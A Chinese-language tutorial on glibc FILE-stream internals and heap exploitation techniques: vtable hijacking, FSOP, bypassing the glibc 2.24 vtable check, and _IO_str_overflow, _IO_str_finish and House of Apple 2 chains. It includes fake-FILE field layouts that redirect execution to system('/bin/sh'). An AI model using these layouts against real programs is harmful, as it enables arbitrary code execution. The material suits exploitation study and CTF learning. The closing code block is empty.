IO结构体
_IO_FILE_plus
1 2 3 4 5
| struct _IO_FILE_plus { _IO_FILE file; const struct _IO_jump_t *vtable; };
|
在gdb中可以通过p &((struct _IO_FILE_plus*)0)->vtable来计算出vtable的偏移地址。在glibc 2.23版本中32位的偏移是0x94,64位的偏移是0xd8。
接下来看看这个_IO_jump_t结构体。
_IO_FILE
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| struct _IO_FILE { int _flags; #define _IO_file_flags _flags char *_IO_read_ptr; char *_IO_read_end; char *_IO_read_base; char *_IO_write_base; char *_IO_write_ptr; char *_IO_write_end; char *_IO_buf_base; char *_IO_buf_end; char *_IO_save_base; char *_IO_backup_base; char *_IO_save_end; struct _IO_marker *_markers; struct _IO_FILE *_chain; int _fileno; int _flags2; _IO_off_t _old_offset; #define __HAVE_COLUMN unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1]; _IO_lock_t *_lock; #ifdef _IO_USE_OLD_IO_FILE }; struct _IO_FILE_complete { struct _IO_FILE _file; #endif #if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001 _IO_off64_t _offset; #if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T struct _IO_codecvt *_codecvt; struct _IO_wide_data *_wide_data; struct _IO_FILE *_freeres_list; void *_freeres_buf; #else void *__pad1; void *__pad2; void *__pad3; void *__pad4; #endif size_t __pad5; int _mode; char _unused2[15 * sizeof(int) - 4 * sizeof(void *) - sizeof(size_t)]; #endif };
|
进程中的FILE结构会通过_chain域彼此连接形成一个链表,链表头是_IO_list_all。
每个程序启动时会自动打开stdin、stdout、stderr三个文件,顺序为_IO_list_all → stderr → stdout →stdin。值得注意的是,这三个文件流是位于libc.so的数据段上的,而我们fopen打开的文件流是在堆内存上的。
事实上_IO_FILE外还包着一层结构体,那就是下面要说的_IO_FILE_plus。
_IO_wide_data
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| struct _IO_wide_data { wchar_t *_IO_read_ptr; wchar_t *_IO_read_end; wchar_t *_IO_read_base; wchar_t *_IO_write_base; wchar_t *_IO_write_ptr; wchar_t *_IO_write_end; wchar_t *_IO_buf_base; wchar_t *_IO_buf_end; wchar_t *_IO_save_base; wchar_t *_IO_backup_base; wchar_t *_IO_save_end; __mbstate_t _IO_state; __mbstate_t _IO_last_state; struct _IO_codecvt _codecvt; wchar_t _shortbuf[1]; const struct _IO_jump_t *_wide_vtable; };
|
_IO_jump_t
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| #define JUMP_FIELD(TYPE, NAME) TYPE NAME struct _IO_jump_t { JUMP_FIELD(size_t, __dummy); JUMP_FIELD(size_t, __dummy2); JUMP_FIELD(_IO_finish_t, __finish); JUMP_FIELD(_IO_overflow_t, __overflow); JUMP_FIELD(_IO_underflow_t, __underflow); JUMP_FIELD(_IO_underflow_t, __uflow); JUMP_FIELD(_IO_pbackfail_t, __pbackfail); JUMP_FIELD(_IO_xsputn_t, __xsputn); JUMP_FIELD(_IO_xsgetn_t, __xsgetn); JUMP_FIELD(_IO_seekoff_t, __seekoff); JUMP_FIELD(_IO_seekpos_t, __seekpos); JUMP_FIELD(_IO_setbuf_t, __setbuf); JUMP_FIELD(_IO_sync_t, __sync); JUMP_FIELD(_IO_doallocate_t, __doallocate); JUMP_FIELD(_IO_read_t, __read); JUMP_FIELD(_IO_write_t, __write); JUMP_FIELD(_IO_seek_t, __seek); JUMP_FIELD(_IO_close_t, __close); JUMP_FIELD(_IO_stat_t, __stat); JUMP_FIELD(_IO_showmanyc_t, __showmanyc); JUMP_FIELD(_IO_imbue_t, __imbue); };
|
这里用TYPE定义的一大堆NAME其实都是函数。这里定义的_IO_jump_t是一个结构体类型,真正使用的是定义在libio/vtables.c的_IO_jump_t实例里
标准IO库函数
fread
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| #define fread(p, m, n, s) _IO_fread(p, m, n, s)
_IO_size_t _IO_fread(void *buf, _IO_size_t size, _IO_size_t count, _IO_FILE *fp) { _IO_size_t bytes_requested = size * count; _IO_size_t bytes_read; CHECK_FILE(fp, 0); if (bytes_requested == 0) return 0; _IO_acquire_lock(fp); bytes_read = _IO_sgetn(fp, (char *)buf, bytes_requested); _IO_release_lock(fp); return bytes_requested == bytes_read ? count : bytes_read / size; } libc_hidden_def(_IO_fread)
|
各参数的含义:
- buf 存放读取数据的缓冲区
- size 指定每个记录的长度
- count 指定记录的个数
- fp 目标文件流
- 返回值 读取到缓冲区的记录个数
通过上面的代码我们可以看到,实际上进行读取的函数是_IO_sgetn,那我们可以看看源码
1 2 3 4 5 6 7
| _IO_size_t _IO_sgetn(_IO_FILE *fp, void *data, _IO_size_t n) { return _IO_XSGETN(fp, data, n); } libc_hidden_def(_IO_sgetn)
#define _IO_XSGETN(FP, DATA, N) JUMP2 (__xsgetn, FP, DATA, N)
|
即调用了vtable中的__xsgetn,默认情况下__xsgetn = _IO_file_xsgetn
fwrite
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| #define fwrite(p, m, n, s) _IO_fwrite (p, m, n, s)
_IO_size_t _IO_fwrite(const void *buf, _IO_size_t size, _IO_size_t count, _IO_FILE *fp) { _IO_size_t request = size * count; _IO_size_t written = 0; CHECK_FILE(fp, 0); if (request == 0) return 0; _IO_acquire_lock(fp); if (_IO_vtable_offset(fp) != 0 || _IO_fwide(fp, -1) == -1) written = _IO_sputn(fp, (const char *)buf, request); _IO_release_lock(fp); if (written == request || written == EOF) return count; else return written / size; } libc_hidden_def(_IO_fwrite)
#define _IO_sputn(__fp, __s, __n) _IO_XSPUTN (__fp, __s, __n)
#define _IO_XSPUTN(FP, DATA, N) JUMP2 (__xsputn, FP, DATA, N)
|
各参数的含义:
- buf 要写入数据的地址
- size 要写入内容的单字节数
- count 要进行写入size字节的数据项的个数
- fp 目标文件指针
- 返回值 实际写入数据项个数
函数的调用方式与fread略有不同,但最后都是调用vtable里的函数
默认情况下__xsputn = _IO_new_file_xsputn
而在_IO_new_file_xsputn中会调用同样位于vtable的函数_IO_OVERFLOW
1
| #define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
|
fopen
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| #define fopen(fname, mode) _IO_new_fopen(fname, mode)
_IO_new_fopen(const char *filename, const char *mode) { return __fopen_internal(filename, mode, 1); }
_IO_FILE *__fopen_internal(const char *filename, const char *mode, int is32) { struct locked_FILE { struct _IO_FILE_plus fp; #ifdef _IO_MTSAFE_IO _IO_lock_t lock; #endif struct _IO_wide_data wd; } *new_f = (struct locked_FILE *)malloc(sizeof(struct locked_FILE));
if (new_f == NULL) return NULL; #ifdef _IO_MTSAFE_IO new_f->fp.file._lock = &new_f->lock; #endif #if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T _IO_no_init(&new_f->fp.file, 0, 0, &new_f->wd, &_IO_wfile_jumps); #else _IO_no_init(&new_f->fp.file, 1, 0, NULL, NULL); #endif _IO_JUMPS(&new_f->fp) = &_IO_file_jumps; _IO_file_init(&new_f->fp); #if !_IO_UNIFIED_JUMPTABLES new_f->fp.vtable = NULL; #endif if (_IO_file_fopen((_IO_FILE *)new_f, filename, mode, is32) != NULL) return __fopen_maybe_mmap(&new_f->fp.file);
_IO_un_link(&new_f->fp); free(new_f); return NULL; }
|
各参数的含义:
- filename 目标文件的路径和文件名
- mode 打开方式的类型
- 返回值 返回一个文件指针
由*new_f = (struct locked_FILE *)malloc(sizeof(struct locked_FILE));可知新的FILE结构是分配在堆上的。
1
| #define _IO_JUMPS(THIS) (THIS)->vtable
|
由_IO_JUMPS(&new_f->fp) = &_IO_file_jumps; 对vtable进行初始化
由_IO_file_init(&new_f->fp); 对file进行初始化,其中包含,将文件链入链表的操作_IO_link_in
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| # define _IO_new_file_init _IO_file_init
void _IO_new_file_init(struct _IO_FILE_plus *fp) { fp->file._offset = _IO_pos_BAD; fp->file._IO_file_flags |= CLOSED_FILEBUF_FLAGS; _IO_link_in(fp); fp->file._fileno = -1; } libc_hidden_ver(_IO_new_file_init, _IO_file_init)
void _IO_link_in(struct _IO_FILE_plus *fp) { if ((fp->file._flags & _IO_LINKED) == 0) { fp->file._flags |= _IO_LINKED; #ifdef _IO_MTSAFE_IO _IO_cleanup_region_start_noarg(flush_cleanup); _IO_lock_lock(list_all_lock); run_fp = (_IO_FILE *)fp; _IO_flockfile((_IO_FILE *)fp); #endif fp->file._chain = (_IO_FILE *)_IO_list_all; _IO_list_all = fp; ++_IO_list_all_stamp; #ifdef _IO_MTSAFE_IO _IO_funlockfile((_IO_FILE *)fp); run_fp = NULL; _IO_lock_unlock(list_all_lock); _IO_cleanup_region_end(0); #endif } } libc_hidden_def(_IO_link_in)
|
最后使用_IO_file_fopen打开文件(源码太长我就不贴了,也没必要贴)
1
| #define _IO_new_file_fopen _IO_file_fopen
|
返回的是_IO_FILE指针,__fopen_maybe_mmap(fp)直接当成return fp;就好了
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| _IO_FILE *__fopen_maybe_mmap(_IO_FILE *fp) { #ifdef _G_HAVE_MMAP if ((fp->_flags2 & _IO_FLAGS2_MMAP) && (fp->_flags & _IO_NO_WRITES)) { if (fp->_mode <= 0) _IO_JUMPS_FILE_plus(fp) = &_IO_file_jumps_maybe_mmap; else _IO_JUMPS_FILE_plus(fp) = &_IO_wfile_jumps_maybe_mmap; fp->_wide_data->_wide_vtable = &_IO_wfile_jumps_maybe_mmap; } #endif return fp; }
|
fclose
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| #define fclose(fp) _IO_new_fclose (fp)
int _IO_new_fclose(_IO_FILE *fp) { int status; CHECK_FILE(fp, EOF); #if SHLIB_COMPAT(libc, GLIBC_2_0, GLIBC_2_1) if (_IO_vtable_offset(fp) != 0) return _IO_old_fclose(fp); #endif if (fp->_IO_file_flags & _IO_IS_FILEBUF) _IO_un_link((struct _IO_FILE_plus *)fp); _IO_acquire_lock(fp); if (fp->_IO_file_flags & _IO_IS_FILEBUF) status = _IO_file_close_it(fp); else status = fp->_flags & _IO_ERR_SEEN ? -1 : 0; _IO_release_lock(fp); _IO_FINISH(fp); if (fp->_mode > 0) { #if _LIBC struct _IO_codecvt *cc = fp->_codecvt; __libc_lock_lock(__gconv_lock); __gconv_release_step(cc->__cd_in.__cd.__steps); __gconv_release_step(cc->__cd_out.__cd.__steps); __libc_lock_unlock(__gconv_lock); #endif } else { if (_IO_have_backup(fp)) _IO_free_backup_area(fp); } if (fp != _IO_stdin && fp != _IO_stdout && fp != _IO_stderr) { fp->_IO_file_flags = 0; free(fp); } return status; }
|
1 2
| if (fp->_IO_file_flags & _IO_IS_FILEBUF) _IO_un_link ((struct _IO_FILE_plus *) fp);
|
首先调用_IO_un_link函数将file文件脱链,该函数源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| void _IO_un_link(struct _IO_FILE_plus *fp) { if (fp->file._flags & _IO_LINKED) { struct _IO_FILE **f; #ifdef _IO_MTSAFE_IO _IO_cleanup_region_start_noarg(flush_cleanup); _IO_lock_lock(list_all_lock); run_fp = (_IO_FILE *)fp; _IO_flockfile((_IO_FILE *)fp); #endif if (_IO_list_all == NULL) ; else if (fp == _IO_list_all) { _IO_list_all = (struct _IO_FILE_plus *)_IO_list_all->file._chain; ++_IO_list_all_stamp; } else for (f = &_IO_list_all->file._chain; *f; f = &(*f)->_chain) if (*f == (_IO_FILE *)fp) { *f = fp->file._chain; ++_IO_list_all_stamp; break; } fp->file._flags &= ~_IO_LINKED; #ifdef _IO_MTSAFE_IO _IO_funlockfile((_IO_FILE *)fp); run_fp = NULL; _IO_lock_unlock(list_all_lock); _IO_cleanup_region_end(0); #endif } } libc_hidden_def(_IO_un_link)
|
然后使用_IO_file_close_it函数将文件关闭
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| # define _IO_new_file_close_it _IO_file_close_it
int _IO_new_file_close_it(_IO_FILE *fp) { int write_status; if (!_IO_file_is_open(fp)) return EOF; if ((fp->_flags & _IO_NO_WRITES) == 0 && (fp->_flags & _IO_CURRENTLY_PUTTING) != 0) write_status = _IO_do_flush(fp); else write_status = 0; _IO_unsave_markers(fp); int close_status = ((fp->_flags2 & _IO_FLAGS2_NOCLOSE) == 0 ? _IO_SYSCLOSE(fp) : 0); #if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T if (fp->_mode > 0) { if (_IO_have_wbackup(fp)) _IO_free_wbackup_area(fp); _IO_wsetb(fp, NULL, NULL, 0); _IO_wsetg(fp, NULL, NULL, NULL); _IO_wsetp(fp, NULL, NULL); } #endif _IO_setb(fp, NULL, NULL, 0); _IO_setg(fp, NULL, NULL, NULL); _IO_setp(fp, NULL, NULL); _IO_un_link((struct _IO_FILE_plus *)fp); fp->_flags = _IO_MAGIC | CLOSED_FILEBUF_FLAGS; fp->_fileno = -1; fp->_offset = _IO_pos_BAD; return close_status ? close_status : write_status; } libc_hidden_ver(_IO_new_file_close_it, _IO_file_close_it)
|
最后调用了位于vtable里的_IO_FINISH (fp);函数
1
| #define _IO_FINISH(FP) JUMP1 (__finish, FP, 0)
|
默认情况下它指向_IO_file_finish函数
1 2 3 4 5 6 7 8 9 10 11 12 13
| # define _IO_new_file_finish _IO_file_finish
void _IO_new_file_finish(_IO_FILE *fp, int dummy) { if (_IO_file_is_open(fp)) { _IO_do_flush(fp); if (!(fp->_flags & _IO_DELETE_DONT_CLOSE)) _IO_SYSCLOSE(fp); } _IO_default_finish(fp, 0); } libc_hidden_ver(_IO_new_file_finish, _IO_file_finish)
|
其中_IO_default_finish中调用了free函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| void _IO_default_finish(_IO_FILE *fp, int dummy) { struct _IO_marker *mark; if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF)) { free(fp->_IO_buf_base); fp->_IO_buf_base = fp->_IO_buf_end = NULL; } for (mark = fp->_markers; mark != NULL; mark = mark->_next) mark->_sbuf = NULL; if (fp->_IO_save_base) { free(fp->_IO_save_base); fp->_IO_save_base = NULL; } _IO_un_link((struct _IO_FILE_plus *)fp); #ifdef _IO_MTSAFE_IO if (fp->_lock != NULL) _IO_lock_fini(*fp->_lock); #endif } libc_hidden_def(_IO_default_finish)
|
fflush
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| int _IO_fflush(FILE *fp) { if (fp == NULL) return _IO_flush_all(); else { int result; CHECK_FILE(fp, EOF); _IO_acquire_lock(fp); result = _IO_SYNC(fp) ? EOF : 0; _IO_release_lock(fp); return result; } } libc_hidden_def(_IO_fflush) weak_alias(_IO_fflush, fflush) libc_hidden_weak(fflush)
int _IO_flush_all(void) { int result = 0; FILE *fp; #ifdef _IO_MTSAFE_IO _IO_cleanup_region_start_noarg(flush_cleanup); _IO_lock_lock(list_all_lock); #endif for (fp = (FILE *)_IO_list_all; fp != NULL; fp = fp->_chain) { run_fp = fp; _IO_flockfile(fp); if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) || (_IO_vtable_offset(fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base))) && _IO_OVERFLOW(fp, EOF) == EOF) result = EOF; _IO_funlockfile(fp); run_fp = NULL; } #ifdef _IO_MTSAFE_IO _IO_lock_unlock(list_all_lock); _IO_cleanup_region_end(0); #endif return result; } libc_hidden_def(_IO_flush_all)
|
触发_IO_OVERFLOW函数
伪造vtable劫持程序流程
vtable劫持分两种:
- 直接改写vtable中的函数指针,通过任意地址写就可以实现
- 覆盖vtable的指针指向我们控制的内存,然后在其中布置函数指针
在glibc2.23及以前,可以直接向fp指向的位置写入sh,不存在任何检测
FSOP(File Stream Oriented Programming)
FSOP 的核心思想就是劫持_IO_list_all 的值来伪造链表和其中的_IO_FILE项
FSOP 的触发方法是调用_IO_flush_all_lockp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
|
int _IO_flush_all_lockp(int do_lock) { int result = 0; struct _IO_FILE *fp; int last_stamp; #ifdef _IO_MTSAFE_IO __libc_cleanup_region_start(do_lock, flush_cleanup, NULL); if (do_lock) _IO_lock_lock(list_all_lock); #endif last_stamp = _IO_list_all_stamp; fp = (_IO_FILE *)_IO_list_all; while (fp != NULL) { run_fp = fp; if (do_lock) _IO_flockfile(fp); if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) #if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T || (_IO_vtable_offset(fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)) #endif ) && _IO_OVERFLOW(fp, EOF) == EOF) result = EOF; if (do_lock) _IO_funlockfile(fp); run_fp = NULL; if (last_stamp != _IO_list_all_stamp) { fp = (_IO_FILE *)_IO_list_all; last_stamp = _IO_list_all_stamp; } else fp = fp->_chain; } #ifdef _IO_MTSAFE_IO if (do_lock) _IO_lock_unlock(list_all_lock); __libc_cleanup_region_end(0); #endif return result; }
|
这个函数会刷新_IO_list_all链表中所有项的文件流,相当于对每个 FILE 调用 fflush,也对应着会调用_IO_FILE_plus.vtable中的_IO_overflow
总结:FSOP 利用的条件
fp->_mode <= 0
fp->_IO_write_ptr > fp->_IO_write_base
- 能够调用
_IO_flush_all_lockp
- 执行 libc 中 abort 流程
abort() -> _IO_flush_all_lockp()
- 执行 exit 函数
exit() -> __run_exit_handlers() -> _IO_cleanup() -> _IO_flush_all_lockp()
- 执行流从 main 函数返回
main() -> exit() -> __run_exit_handlers() -> _IO_cleanup() -> _IO_flush_all_lockp()
你可能会感到疑惑,在__run_exit_handlers()代码里,并没有看到之前提到的 _IO_cleanup() 或 _IO_flush_all_lockp() 的字样,它们到底在哪里?
实际上,在 exit 的流程中,_IO_cleanup 是通过 RUN_HOOK 或者 atexit 注册机制 被间接调用的。
glibc 2.24 下IO_FILE的利用
glibc 2.24的安全更新
glibc 2.24 引入了 IO_validate_vtable函数,它会检查 vtable指针是否位于合法的 __libc_IO_vtables段内。如果不在合法范围内,会调用 _IO_vtable_check进行进一步检查,通常导致程序终止。这使得直接伪造一个不在合法段的 vtable变得困难
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| void attribute_hidden _IO_vtable_check(void) { #ifdef SHARED void (*flag)(void) = atomic_load_relaxed(&IO_accept_foreign_vtables); #ifdef PTR_DEMANGLE PTR_DEMANGLE(flag); #endif if (flag == &_IO_vtable_check) return; { Dl_info di; struct link_map *l; if (_dl_open_hook != NULL || (_dl_addr(_IO_vtable_check, &di, &l, NULL) != 0 && l->l_ns != LM_ID_BASE)) return; } #else if (__dlopen != NULL) return; #endif __libc_fatal("Fatal error: glibc detected an invalid stdio handle\n"); }
static inline const struct _IO_jump_t *IO_validate_vtable(const struct _IO_jump_t *vtable) { uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables; const char *ptr = (const char *)vtable; uintptr_t offset = ptr - __start___libc_IO_vtables; if (__glibc_unlikely(offset >= section_length)) _IO_vtable_check(); return vtable; }
|
在_IO_vtable_check中,如果vtable是非法的,那么会引发abort。
因此,直接在vtable中写入需要的函数指针不太可能,因此我们在只能在其它检查范围以外的位置伪造函数指针。
具有漏洞函数的虚表
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| const struct _IO_jump_t __io_vtables[] attribute_relro = { [IO_STR_JUMPS] = { JUMP_INIT_DUMMY, JUMP_INIT (finish, _IO_str_finish), JUMP_INIT (overflow, _IO_str_overflow), JUMP_INIT (underflow, _IO_str_underflow), JUMP_INIT (uflow, _IO_default_uflow), JUMP_INIT (pbackfail, _IO_str_pbackfail), JUMP_INIT (xsputn, _IO_default_xsputn), JUMP_INIT (xsgetn, _IO_default_xsgetn), JUMP_INIT (seekoff, _IO_str_seekoff), JUMP_INIT (seekpos, _IO_default_seekpos), JUMP_INIT (setbuf, _IO_default_setbuf), JUMP_INIT (sync, _IO_default_sync), JUMP_INIT (doallocate, _IO_default_doallocate), JUMP_INIT (read, _IO_default_read), JUMP_INIT (write, _IO_default_write), JUMP_INIT (seek, _IO_default_seek), JUMP_INIT (close, _IO_default_close), JUMP_INIT (stat, _IO_default_stat), JUMP_INIT (showmanyc, _IO_default_showmanyc), JUMP_INIT (imbue, _IO_default_imbue) }, ... [IO_WFILE_JUMPS] = { JUMP_INIT_DUMMY, JUMP_INIT (finish, _IO_new_file_finish), JUMP_INIT (overflow, (_IO_overflow_t) _IO_wfile_overflow), JUMP_INIT (underflow, (_IO_underflow_t) _IO_wfile_underflow), JUMP_INIT (uflow, (_IO_underflow_t) _IO_wdefault_uflow), JUMP_INIT (pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail), JUMP_INIT (xsputn, _IO_wfile_xsputn), JUMP_INIT (xsgetn, _IO_file_xsgetn), JUMP_INIT (seekoff, _IO_wfile_seekoff), JUMP_INIT (seekpos, _IO_default_seekpos), JUMP_INIT (setbuf, _IO_new_file_setbuf), JUMP_INIT (sync, (_IO_sync_t) _IO_wfile_sync), JUMP_INIT (doallocate, _IO_wfile_doallocate), JUMP_INIT (read, _IO_file_read), JUMP_INIT (write, _IO_new_file_write), JUMP_INIT (seek, _IO_file_seek), JUMP_INIT (close, _IO_file_close), JUMP_INIT (stat, _IO_file_stat), JUMP_INIT (showmanyc, _IO_default_showmanyc), JUMP_INIT (imbue, _IO_default_imbue) }, ... }
|
fileno与缓冲区利用技术
在_IO_FILE 中_IO_buf_base 表示操作的起始地址,_IO_buf_end 表示结束地址,通过控制这两个数据可以实现控制读写的操作。
_IO_str_jumps → _IO_str_overflow
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| struct _IO_str_fields { _IO_alloc_type _allocate_buffer; _IO_free_type _free_buffer; };
struct _IO_streambuf { struct _IO_FILE _f; const struct _IO_jump_t *vtable; };
typedef struct _IO_strfile_ { struct _IO_streambuf _sbf; struct _IO_str_fields _s; } _IO_strfile;
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| int _IO_str_overflow(_IO_FILE *fp, int c) { int flush_only = c == EOF; _IO_size_t pos; if (fp->_flags & _IO_NO_WRITES) return flush_only ? 0 : EOF; if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING)) { fp->_flags |= _IO_CURRENTLY_PUTTING; fp->_IO_write_ptr = fp->_IO_read_ptr; fp->_IO_read_ptr = fp->_IO_read_end; } pos = fp->_IO_write_ptr - fp->_IO_write_base; if (pos >= (_IO_size_t)(_IO_blen(fp) + flush_only)) { if (fp->_flags & _IO_USER_BUF) return EOF; else { char *new_buf; char *old_buf = fp->_IO_buf_base; size_t old_blen = _IO_blen(fp); _IO_size_t new_size = 2 * old_blen + 100; if (new_size < old_blen) return EOF; ***new_buf = (char *)(*((_IO_strfile *)fp)->_s._allocate_buffer)(new_size);*** ... } } ... return c; } libc_hidden_def(_IO_str_overflow)
|
我们可以通过上面加粗的语句来劫持程序流程,前提是满足以下条件
fp->_flags & _IO_NO_WRITES 为假,(fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING) 为假。
(fp->_IO_write_ptr - fp->_IO_write_base) >= (_IO_size_t)(_IO_blen(fp) + flush_only) 为真
fp->_flags & _IO_USER_BUF 为假
new_size < old_blen 为假
- 一般会通过,即通常
old_blen + 100 ≥ 0
- 其中
old_blen = fp->_IO_buf_end - fp->_IO_buf_base 确保其为正值即可
由于下面的_IO_strfile结构体一般和_IO_FILE位于同一可写的内存位置,所以可以控制调用的函数地址
通过p &((struct *IO_strfile* *)0)->_s._allocate_buffer可以获得需要攻击的偏移通常为0xe0
(高版本的命令为p &((struct *IO_strfile* *)0)->_s._allocate_buffer_unused,偏移也为0xe0)
fp+0xe0指向system地址
new_size指向/bin/sh字符串地址
构造如下:
1 2 3 4 5 6 7 8 9 10 11
| _flags = 0 _IO_write_base = 0 _IO_write_ptr = (binsh_addr - 100) / 2 + 1 _IO_buf_end = (binsh_addr - 100) / 2
_freeres_list = 0x2 _freeres_buf = 0x3 _mode = -1
vtable = _IO_str_jumps-0x18 fp + 0xe0 -> system_addr
|
_IO_str_jumps → _IO_str_finish
1 2 3 4 5 6 7
| void _IO_str_finish(_IO_FILE *fp, int dummy) { if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF)) (((_IO_strfile *)fp)->_s._free_buffer)(fp->_IO_buf_base); fp->_IO_buf_base = NULL; _IO_default_finish(fp, 0); }
|
需要满足的条件不多:
fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF) 为真
构造如下
1 2 3 4 5 6 7 8 9
| _flags = (binsh_in_libc + 0x10) & ~1 _IO_buf_base = binsh_addr
_freeres_list = 0x2 _freeres_buf = 0x3 _mode = -1
vtable = _IO_str_finish-0x18 fp + 0xe8 -> system_addr
|
_IO_wfile_jumps→ _IO_wfile_overflow
这是House of Apple 2常用的漏洞利用链,接下来看看源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| wint_t _IO_wfile_overflow(FILE *f, wint_t wch) { if (f->_flags & _IO_NO_WRITES) { f->_flags |= _IO_ERR_SEEN; __set_errno(EBADF); return WEOF; } if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0) { if (f->_wide_data->_IO_write_base == 0) { ***_IO_wdoallocbuf(f);*** _IO_free_wbackup_area(f); _IO_wsetg(f, f->_wide_data->_IO_buf_base, f->_wide_data->_IO_buf_base, f->_wide_data->_IO_buf_base);
if (f->_IO_write_base == NULL) { _IO_doallocbuf(f); _IO_setg(f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base); } } else { if (f->_wide_data->_IO_read_ptr == f->_wide_data->_IO_buf_end) { f->_IO_read_end = f->_IO_read_ptr = f->_IO_buf_base; f->_wide_data->_IO_read_end = f->_wide_data->_IO_read_ptr = f->_wide_data->_IO_buf_base; } } f->_wide_data->_IO_write_ptr = f->_wide_data->_IO_read_ptr; f->_wide_data->_IO_write_base = f->_wide_data->_IO_write_ptr; f->_wide_data->_IO_write_end = f->_wide_data->_IO_buf_end; f->_wide_data->_IO_read_base = f->_wide_data->_IO_read_ptr = f->_wide_data->_IO_read_end;
f->_IO_write_ptr = f->_IO_read_ptr; f->_IO_write_base = f->_IO_write_ptr; f->_IO_write_end = f->_IO_buf_end; f->_IO_read_base = f->_IO_read_ptr = f->_IO_read_end;
f->_flags |= _IO_CURRENTLY_PUTTING; if (f->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED)) f->_wide_data->_IO_write_end = f->_wide_data->_IO_write_ptr; } if (wch == WEOF) return _IO_do_flush(f); if (f->_wide_data->_IO_write_ptr == f->_wide_data->_IO_buf_end) if (_IO_do_flush(f) == EOF) return WEOF; *f->_wide_data->_IO_write_ptr++ = wch; if ((f->_flags & _IO_UNBUFFERED) || ((f->_flags & _IO_LINE_BUF) && wch == L'\n')) if (_IO_do_flush(f) == EOF) return WEOF; return wch; } libc_hidden_def(_IO_wfile_overflow)
|
1 2 3 4 5 6 7 8 9 10 11 12
|
void _IO_wdoallocbuf(FILE *fp) { if (fp->_wide_data->_IO_buf_base) return; if (!(fp->_flags & _IO_UNBUFFERED)) if ((wint_t)***_IO_WDOALLOCATE(fp)*** != WEOF) return; _IO_wsetb(fp, fp->_wide_data->_shortbuf, fp->_wide_data->_shortbuf + 1, 0); } libc_hidden_def(_IO_wdoallocbuf)
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
|
#define _IO_WDOALLOCATE(FP) WJUMP0 (__doallocate, FP)
#define WJUMP0(FUNC, THIS) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS)
#define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)
#define _IO_WIDE_JUMPS(THIS) _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable
...
#define _IO_WDOALLOCATE(FP) (*(FP)->_wide_data->_wide_vtable->doallocate) (FP)
|
C示意代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
